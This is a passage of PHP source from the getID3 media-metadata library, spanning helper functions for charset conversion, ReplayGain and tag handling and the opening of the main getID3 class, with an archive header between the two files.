mb_convert_encoding or iconv() is available static $ConversionFunctionList = array(); if (empty($ConversionFunctionList)) { $ConversionFunctionList['ISO-8859-1']['UTF-8'] = 'iconv_fallback_iso88591_utf8'; $ConversionFunctionList['ISO-8859-1']['UTF-16'] = 'iconv_fallback_iso88591_utf16'; $ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be'; $ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le'; $ConversionFunctionList['UTF-8']['ISO-8859-1'] = 'iconv_fallback_utf8_iso88591'; $ConversionFunctionList['UTF-8']['UTF-16'] = 'iconv_fallback_utf8_utf16'; $ConversionFunctionList['UTF-8']['UTF-16BE'] = 'iconv_fallback_utf8_utf16be'; $ConversionFunctionList['UTF-8']['UTF-16LE'] = 'iconv_fallback_utf8_utf16le'; $ConversionFunctionList['UTF-16']['ISO-8859-1'] = 'iconv_fallback_utf16_iso88591'; $ConversionFunctionList['UTF-16']['UTF-8'] = 'iconv_fallback_utf16_utf8'; $ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591'; $ConversionFunctionList['UTF-16LE']['UTF-8'] = 'iconv_fallback_utf16le_utf8'; $ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591'; $ConversionFunctionList['UTF-16BE']['UTF-8'] = 'iconv_fallback_utf16be_utf8'; } if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) { $ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)]; return self::$ConversionFunction($string); } throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset); } /** * @param mixed $data * @param string $charset * * @return mixed */ public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') { if (is_string($data)) { return self::MultiByteCharString2HTML($data, $charset); } elseif (is_array($data)) { $return_data = array(); foreach ($data as $key => $value) { $return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset); } return $return_data; } // integer, float, objects, resources, etc return $data; } /** * @param string|int|float $string * @param string $charset * * @return string */ public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') { $string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string $HTMLstring = ''; switch (strtolower($charset)) { case '1251': case '1252': case '866': case '932': case '936': case '950': case 'big5': case 'big5-hkscs': case 'cp1251': case 'cp1252': case 'cp866': case 'euc-jp': case 'eucjp': case 'gb2312': case 'ibm866': case 'iso-8859-1': case 'iso-8859-15': case 'iso8859-1': case 'iso8859-15': case 'koi8-r': case 'koi8-ru': case 'koi8r': case 'shift_jis': case 'sjis': case 'win-1251': case 'windows-1251': case 'windows-1252': $HTMLstring = htmlentities($string, ENT_COMPAT, $charset); break; case 'utf-8': $strlen = strlen($string); for ($i = 0; $i < $strlen; $i++) { $char_ord_val = ord($string[$i]); $charval = 0; if ($char_ord_val < 0x80) { $charval = $char_ord_val; } elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F && $i+3 < $strlen) { $charval = (($char_ord_val & 0x07) << 18); $charval += ((ord($string[++$i]) & 0x3F) << 12); $charval += ((ord($string[++$i]) & 0x3F) << 6); $charval += (ord($string[++$i]) & 0x3F); } elseif ((($char_ord_val & 0xE0) >> 5) == 0x07 && $i+2 < $strlen) { $charval = (($char_ord_val & 0x0F) << 12); $charval += ((ord($string[++$i]) & 0x3F) << 6); $charval += (ord($string[++$i]) & 0x3F); } elseif ((($char_ord_val & 0xC0) >> 6) == 0x03 && $i+1 < $strlen) { $charval = (($char_ord_val & 0x1F) << 6); $charval += (ord($string[++$i]) & 0x3F); } if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= htmlentities(chr($charval)); } else { $HTMLstring .= '&#'.$charval.';'; } } break; case 'utf-16le': for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= chr($charval); } else { $HTMLstring .= '&#'.$charval.';'; } } break; case 'utf-16be': for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= chr($charval); } else { $HTMLstring .= '&#'.$charval.';'; } } break; default: $HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()'; break; } return $HTMLstring; } /** * @param int $namecode * * @return string */ public static function RGADnameLookup($namecode) { static $RGADname = array(); if (empty($RGADname)) { $RGADname[0] = 'not set'; $RGADname[1] = 'Track Gain Adjustment'; $RGADname[2] = 'Album Gain Adjustment'; } return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : ''); } /** * @param int $originatorcode * * @return string */ public static function RGADoriginatorLookup($originatorcode) { static $RGADoriginator = array(); if (empty($RGADoriginator)) { $RGADoriginator[0] = 'unspecified'; $RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer'; $RGADoriginator[2] = 'set by user'; $RGADoriginator[3] = 'determined automatically'; } return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : ''); } /** * @param int $rawadjustment * @param int $signbit * * @return float */ public static function RGADadjustmentLookup($rawadjustment, $signbit) { $adjustment = (float) $rawadjustment / 10; if ($signbit == 1) { $adjustment *= -1; } return $adjustment; } /** * @param int $namecode * @param int $originatorcode * @param int $replaygain * * @return string */ public static function RGADgainString($namecode, $originatorcode, $replaygain) { if ($replaygain < 0) { $signbit = '1'; } else { $signbit = '0'; } $storedreplaygain = intval(round($replaygain * 10)); $gainstring = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT); $gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT); $gainstring .= $signbit; $gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT); return $gainstring; } /** * @param float $amplitude * * @return float */ public static function RGADamplitude2dB($amplitude) { return 20 * log10($amplitude); } /** * @param string $imgData * @param array $imageinfo * * @return array|false */ public static function GetDataImageSize($imgData, &$imageinfo=array()) { if (PHP_VERSION_ID >= 50400) { $GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo); if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) { return false; } $GetDataImageSize['height'] = $GetDataImageSize[0]; $GetDataImageSize['width'] = $GetDataImageSize[1]; return $GetDataImageSize; } static $tempdir = ''; if (empty($tempdir)) { if (function_exists('sys_get_temp_dir')) { $tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52 } // yes this is ugly, feel free to suggest a better way if (include_once(dirname(__FILE__).'/getid3.php')) { $getid3_temp = new getID3(); if ($getid3_temp_tempdir = $getid3_temp->tempdir) { $tempdir = $getid3_temp_tempdir; } unset($getid3_temp, $getid3_temp_tempdir); } } $GetDataImageSize = false; if ($tempfilename = tempnam($tempdir, 'gI3')) { if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) { fwrite($tmp, $imgData); fclose($tmp); $GetDataImageSize = @getimagesize($tempfilename, $imageinfo); if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) { return false; } $GetDataImageSize['height'] = $GetDataImageSize[0]; $GetDataImageSize['width'] = $GetDataImageSize[1]; } unlink($tempfilename); } return $GetDataImageSize; } /** * @param string $mime_type * * @return string */ public static function ImageExtFromMime($mime_type) { // temporary way, works OK for now, but should be reworked in the future return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type); } /** * @param array $ThisFileInfo * @param bool $option_tags_html default true (just as in the main getID3 class) * * @return bool */ public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) { // Copy all entries from ['tags'] into common ['comments'] if (!empty($ThisFileInfo['tags'])) { if (isset($ThisFileInfo['tags']['id3v1'])) { // bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings $ID3v1 = $ThisFileInfo['tags']['id3v1']; unset($ThisFileInfo['tags']['id3v1']); $ThisFileInfo['tags']['id3v1'] = $ID3v1; unset($ID3v1); } foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) { foreach ($tagarray as $tagname => $tagdata) { foreach ($tagdata as $key => $value) { if (!empty($value)) { if (empty($ThisFileInfo['comments'][$tagname])) { // fall through and append value } elseif ($tagtype == 'id3v1') { $newvaluelength = strlen(trim($value)); foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { $oldvaluelength = strlen(trim($existingvalue)); if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) { // new value is identical but shorter-than (or equal-length to) one already in comments - skip break 2; } } if (function_exists('mb_convert_encoding')) { if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) { // value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1. // As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character break 2; } } } elseif (!is_array($value)) { $newvaluelength = strlen(trim($value)); foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { $oldvaluelength = strlen(trim($existingvalue)); if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) { $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); break; } } } if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) { $value = (is_string($value) ? trim($value) : $value); if (!is_int($key) && !ctype_digit($key)) { $ThisFileInfo['comments'][$tagname][$key] = $value; } else { if (!isset($ThisFileInfo['comments'][$tagname])) { $ThisFileInfo['comments'][$tagname] = array($value); } else { $ThisFileInfo['comments'][$tagname][] = $value; } } } } } } } // attempt to standardize spelling of returned keys $StandardizeFieldNames = array( 'tracknumber' => 'track_number', 'track' => 'track_number', ); foreach ($StandardizeFieldNames as $badkey => $goodkey) { if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) { $ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey]; unset($ThisFileInfo['comments'][$badkey]); } } if ($option_tags_html) { // Copy ['comments'] to ['comments_html'] if (!empty($ThisFileInfo['comments'])) { foreach ($ThisFileInfo['comments'] as $field => $values) { if ($field == 'picture') { // pictures can take up a lot of space, and we don't need multiple copies of them // let there be a single copy in [comments][picture], and not elsewhere continue; } foreach ($values as $index => $value) { if (is_array($value)) { $ThisFileInfo['comments_html'][$field][$index] = $value; } else { $ThisFileInfo['comments_html'][$field][$index] = str_replace('�', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding'])); } } } } } } return true; } /** * @param string $key * @param int $begin * @param int $end * @param string $file * @param string $name * * @return string */ public static function EmbeddedLookup($key, $begin, $end, $file, $name) { // Cached static $cache; if (isset($cache[$file][$name])) { return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); } // Init $keylength = strlen($key); $line_count = $end - $begin - 7; // Open php file $fp = fopen($file, 'r'); // Discard $begin lines for ($i = 0; $i < ($begin + 3); $i++) { fgets($fp, 1024); } // Loop thru line while (0 < $line_count--) { // Read line $line = ltrim(fgets($fp, 1024), "\t "); // METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key //$keycheck = substr($line, 0, $keylength); //if ($key == $keycheck) { // $cache[$file][$name][$keycheck] = substr($line, $keylength + 1); // break; //} // METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key //$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1)); $explodedLine = explode("\t", $line, 2); $ThisKey = (isset($explodedLine[0]) ? $explodedLine[0] : ''); $ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : ''); $cache[$file][$name][$ThisKey] = trim($ThisValue); } // Close and return fclose($fp); return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); } /** * @param string $filename * @param string $sourcefile * @param bool $DieOnFailure * * @return bool * @throws Exception */ public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) { global $GETID3_ERRORARRAY; if (file_exists($filename)) { if (include_once($filename)) { return true; } else { $diemessage = basename($sourcefile).' depends on '.$filename.', which has errors'; } } else { $diemessage = basename($sourcefile).' depends on '.$filename.', which is missing'; } if ($DieOnFailure) { throw new Exception($diemessage); } else { $GETID3_ERRORARRAY[] = $diemessage; } return false; } /** * @param string $string * * @return string */ public static function trimNullByte($string) { return trim($string, "\x00"); } /** * @param string $path * * @return float|bool */ public static function getFileSizeSyscall($path) { $filesize = false; if (GETID3_OS_ISWINDOWS) { if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini: $filesystem = new COM('Scripting.FileSystemObject'); $file = $filesystem->GetFile($path); $filesize = $file->Size(); unset($filesystem, $file); } else { $commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI'; } } else { $commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\''; } if (isset($commandline)) { $output = trim(`$commandline`); if (ctype_digit($output)) { $filesize = (float) $output; } } return $filesize; } /** * @param string $filename * * @return string|false */ public static function truepath($filename) { // 2017-11-08: this could use some improvement, patches welcome if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) { // PHP's built-in realpath function does not work on UNC Windows shares $goodpath = array(); foreach (explode('/', str_replace('\\', '/', $filename)) as $part) { if ($part == '.') { continue; } if ($part == '..') { if (count($goodpath)) { array_pop($goodpath); } else { // cannot step above this level, already at top level return false; } } else { $goodpath[] = $part; } } return implode(DIRECTORY_SEPARATOR, $goodpath); } return realpath($filename); } /** * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268) * * @param string $path A path. * @param string $suffix If the name component ends in suffix this will also be cut off. * * @return string */ public static function mb_basename($path, $suffix = null) { $splited = preg_split('#/#', rtrim($path, '/ ')); return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1); } } ID3/getid3.php000064400000222552151202620270007020 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // Please see readme.txt for more information // // /// ///////////////////////////////////////////////////////////////// // define a constant rather than looking up every time it is needed if (!defined('GETID3_OS_ISWINDOWS')) { define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0)); } // Get base path of getID3() - ONCE if (!defined('GETID3_INCLUDEPATH')) { define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); } // Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923) if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) { define('IMG_JPG', IMAGETYPE_JPEG); } if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8)); } /* https://www.getid3.org/phpBB3/viewtopic.php?t=2114 If you are running into a the problem where filenames with special characters are being handled incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed, and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line: */ //setlocale(LC_CTYPE, 'en_US.UTF-8'); // attempt to define temp dir as something flexible but reliable $temp_dir = ini_get('upload_tmp_dir'); if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) { $temp_dir = ''; } if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1 // sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts $temp_dir = sys_get_temp_dir(); } $temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10 $open_basedir = ini_get('open_basedir'); if ($open_basedir) { // e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/" $temp_dir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir); $open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir); if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) { $temp_dir .= DIRECTORY_SEPARATOR; } $found_valid_tempdir = false; $open_basedirs = explode(PATH_SEPARATOR, $open_basedir); foreach ($open_basedirs as $basedir) { if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) { $basedir .= DIRECTORY_SEPARATOR; } if (preg_match('#^'.preg_quote($basedir).'#', $temp_dir)) { $found_valid_tempdir = true; break; } } if (!$found_valid_tempdir) { $temp_dir = ''; } unset($open_basedirs, $found_valid_tempdir, $basedir); } if (!$temp_dir) { $temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir } // $temp_dir = '/something/else/'; // feel free to override temp dir here if it works better for your system if (!defined('GETID3_TEMP_DIR')) { define('GETID3_TEMP_DIR', $temp_dir); } unset($open_basedir, $temp_dir); // End: Defines class getID3 { /* * Settings */ /** * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples: ISO-8859-1 UTF-8 UTF-16 UTF-16BE * * @var string */ public $encoding = 'UTF-8'; /** * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252' * * @var string */ public $encoding_id3v1 = 'ISO-8859-1'; /** * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding * * @var bool */ public $encoding_id3v1_autodetect = false; /* * Optional tag checks - disable for speed. */ /** * Read and process ID3v1 tags * * @var bool */ public $option_tag_id3v1 = true; /** * Read and process ID3v2 tags * * @var bool */ public $option_tag_id3v2 = true; /** * Read and process Lyrics3 tags * * @var bool */ public $option_tag_lyrics3 = true; /** * Read and process APE tags * * @var bool */ public $option_tag_apetag = true; /** * Copy tags to root key 'tags' and encode to $this->encoding * * @var bool */ public $option_tags_process = true; /** * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities * * @var bool */ public $option_tags_html = true; /* * Optional tag/comment calculations */ /** * Calculate additional info such as bitrate, channelmode etc * * @var bool */ public $option_extra_info = true; /* * Optional handling of embedded attachments (e.g. images) */ /** * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility * * @var bool|string */ public $option_save_attachments = true; /* * Optional calculations */ /** * Get MD5 sum of data part - slow * * @var bool */ public $option_md5_data = false; /** * Use MD5 of source file if availble - only FLAC and OptimFROG * * @var bool */ public $option_md5_data_source = false; /** * Get SHA1 sum of data part - slow * * @var bool */ public $option_sha1_data = false; /** * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on * PHP_INT_MAX) * * @var bool|null */ public $option_max_2gb_check; /** * Read buffer size in bytes * * @var int */ public $option_fread_buffer_size = 32768; // Public variables /** * Filename of file being analysed. * * @var string */ public $filename; /** * Filepointer to file being analysed. * * @var resource */ public $fp; /** * Result array. * * @var array */ public $info; /** * @var string */ public $tempdir = GETID3_TEMP_DIR; /** * @var int */ public $memory_limit = 0; /** * @var string */ protected $startup_error = ''; /** * @var string */ protected $startup_warning = ''; const VERSION = '1.9.20-202006061653'; const FREAD_BUFFER_SIZE = 32768; const ATTACHMENTS_NONE = false; const ATTACHMENTS_INLINE = true; public function __construct() { // Check for PHP version $required_php_version = '5.3.0'; if (version_compare(PHP_VERSION, $required_php_version, '<')) { $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n"; return; } // Check memory $memoryLimit = ini_get('memory_limit'); if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) { // could be stored as "16M" rather than 16777216 for example $memoryLimit = $matches[1] * 1048576; } elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0 // could be stored as "2G" rather than 2147483648 for example $memoryLimit = $matches[1] * 1073741824; } $this->memory_limit = $memoryLimit; if ($this->memory_limit <= 0) { // memory limits probably disabled } elseif ($this->memory_limit <= 4194304) { $this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n"; } elseif ($this->memory_limit <= 12582912) { $this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n"; } // Check safe_mode off if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved $this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.'); } // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) { // http://php.net/manual/en/mbstring.overload.php // "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions" // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those. // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated $this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n"; } // check for magic quotes in PHP < 7.4.0 (when these functions became deprecated) if (version_compare(PHP_VERSION, '7.4.0', '<')) { // Check for magic_quotes_runtime if (function_exists('get_magic_quotes_runtime')) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_runtimeDeprecated if (get_magic_quotes_runtime()) { $this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n"; } } // Check for magic_quotes_gpc if (function_exists('get_magic_quotes_gpc')) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated if (get_magic_quotes_gpc()) { $this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n"; } } } // Load support library if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { $this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n"; } if ($this->option_max_2gb_check === null) { $this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647); } // Needed for Windows only: // Define locations of helper applications for Shorten, VorbisComment, MetaFLAC // as well as other helper functions such as head, etc // This path cannot contain spaces, but the below code will attempt to get the // 8.3-equivalent path automatically // IMPORTANT: This path must include the trailing slash if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) { $helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path if (!is_dir($helperappsdir)) { $this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n"; } elseif (strpos(realpath($helperappsdir), ' ') !== false) { $DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir)); $path_so_far = array(); foreach ($DirPieces as $key => $value) { if (strpos($value, ' ') !== false) { if (!empty($path_so_far)) { $commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far)); $dir_listing = `$commandline`; $lines = explode("\n", $dir_listing); foreach ($lines as $line) { $line = trim($line); if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) { list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches; if ((strtoupper($filesize) == '') && (strtolower($filename) == strtolower($value))) { $value = $shortname; } } } } else { $this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n"; } } $path_so_far[] = $value; } $helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far); } define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR); } if (!empty($this->startup_error)) { echo $this->startup_error; throw new getid3_exception($this->startup_error); } } /** * @return string */ public function version() { return self::VERSION; } /** * @return int */ public function fread_buffer_size() { return $this->option_fread_buffer_size; } /** * @param array $optArray * * @return bool */ public function setOption($optArray) { if (!is_array($optArray) || empty($optArray)) { return false; } foreach ($optArray as $opt => $val) { if (isset($this->$opt) === false) { continue; } $this->$opt = $val; } return true; } /** * @param string $filename * @param int $filesize * @param resource $fp * * @return bool * * @throws getid3_exception */ public function openfile($filename, $filesize=null, $fp=null) { try { if (!empty($this->startup_error)) { throw new getid3_exception($this->startup_error); } if (!empty($this->startup_warning)) { foreach (explode("\n", $this->startup_warning) as $startup_warning) { $this->warning($startup_warning); } } // init result array and set parameters $this->filename = $filename; $this->info = array(); $this->info['GETID3_VERSION'] = $this->version(); $this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false); // remote files not supported if (preg_match('#^(ht|f)tp://#', $filename)) { throw new getid3_exception('Remote files are not supported - please copy the file locally first'); } $filename = str_replace('/', DIRECTORY_SEPARATOR, $filename); //$filename = preg_replace('#(?fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) { $this->fp = $fp; } elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // great } else { $errormessagelist = array(); if (!is_readable($filename)) { $errormessagelist[] = '!is_readable'; } if (!is_file($filename)) { $errormessagelist[] = '!is_file'; } if (!file_exists($filename)) { $errormessagelist[] = '!file_exists'; } if (empty($errormessagelist)) { $errormessagelist[] = 'fopen failed'; } throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')'); } $this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename)); // set redundant parameters - might be needed in some include file // filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion $filename = str_replace('\\', '/', $filename); $this->info['filepath'] = str_replace('\\', '/', realpath(dirname($filename))); $this->info['filename'] = getid3_lib::mb_basename($filename); $this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename']; // set more parameters $this->info['avdataoffset'] = 0; $this->info['avdataend'] = $this->info['filesize']; $this->info['fileformat'] = ''; // filled in later $this->info['audio']['dataformat'] = ''; // filled in later, unset if not used $this->info['video']['dataformat'] = ''; // filled in later, unset if not used $this->info['tags'] = array(); // filled in later, unset if not used $this->info['error'] = array(); // filled in later, unset if not used $this->info['warning'] = array(); // filled in later, unset if not used $this->info['comments'] = array(); // filled in later, unset if not used $this->info['encoding'] = $this->encoding; // required by id3v2 and iso modules - can be unset at the end if desired // option_max_2gb_check if ($this->option_max_2gb_check) { // PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB) // filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize // ftell() returns 0 if seeking to the end is beyond the range of unsigned integer $fseek = fseek($this->fp, 0, SEEK_END); if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) || ($this->info['filesize'] < 0) || (ftell($this->fp) < 0)) { $real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']); if ($real_filesize === false) { unset($this->info['filesize']); fclose($this->fp); throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.'); } elseif (getid3_lib::intValueSupported($real_filesize)) { unset($this->info['filesize']); fclose($this->fp); throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org'); } $this->info['filesize'] = $real_filesize; $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.'); } } return true; } catch (Exception $e) { $this->error($e->getMessage()); } return false; } /** * analyze file * * @param string $filename * @param int $filesize * @param string $original_filename * @param resource $fp * * @return array */ public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { try { if (!$this->openfile($filename, $filesize, $fp)) { return $this->info; } // Handle tags foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { $option_tag = 'option_tag_'.$tag_name; if ($this->$option_tag) { $this->include_module('tag.'.$tag_name); try { $tag_class = 'getid3_'.$tag_name; $tag = new $tag_class($this); $tag->Analyze(); } catch (getid3_exception $e) { throw $e; } } } if (isset($this->info['id3v2']['tag_offset_start'])) { $this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']); } foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { if (isset($this->info[$tag_key]['tag_offset_start'])) { $this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']); } } // ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier if (!$this->option_tag_id3v2) { 